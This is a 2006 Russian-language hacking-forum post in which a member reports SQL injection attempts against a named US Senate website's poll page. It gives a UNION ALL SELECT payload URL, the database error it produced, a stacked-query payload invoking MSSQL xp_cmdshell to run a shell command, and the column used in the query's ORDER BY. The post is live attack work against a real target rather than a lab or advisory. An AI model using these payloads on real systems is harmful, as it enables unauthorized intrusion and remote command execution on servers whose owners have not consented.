27.05.2006, 12:35
|
|
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
С нами:
10582516
Репутация:
114
|
|
Да ты прав там идёт order by.
А при вот таком запросе
Код:
_http://allard.senate.gov/public/index.cfm?FuseAction=Polls.Results&PollsPoll_id=-16+union+all+select+null,null,null,null,null,null,null,null,null--&IsPopUp=True
Тоесть воспользовался union all select но пришлось увеличить количество столюцов.
Вылетает вот такая ошибка
ORDER BY items must appear in the select list if the statement contains a UNION operator.
Еще пробовал вот такой запрос(как я понял там стоит mssql)
-16;exec%20master.xp_cmdshell%20%22dir%20%3E%20test .txt%22--
Вылетело
Incorrect syntax near the keyword 'ORDER'.
The error occurred on line 12.
И еще узнал
По какому полю делается ордер "DateCreated".
Последний раз редактировалось EST a1ien; 27.05.2006 в 12:41..
|
|
|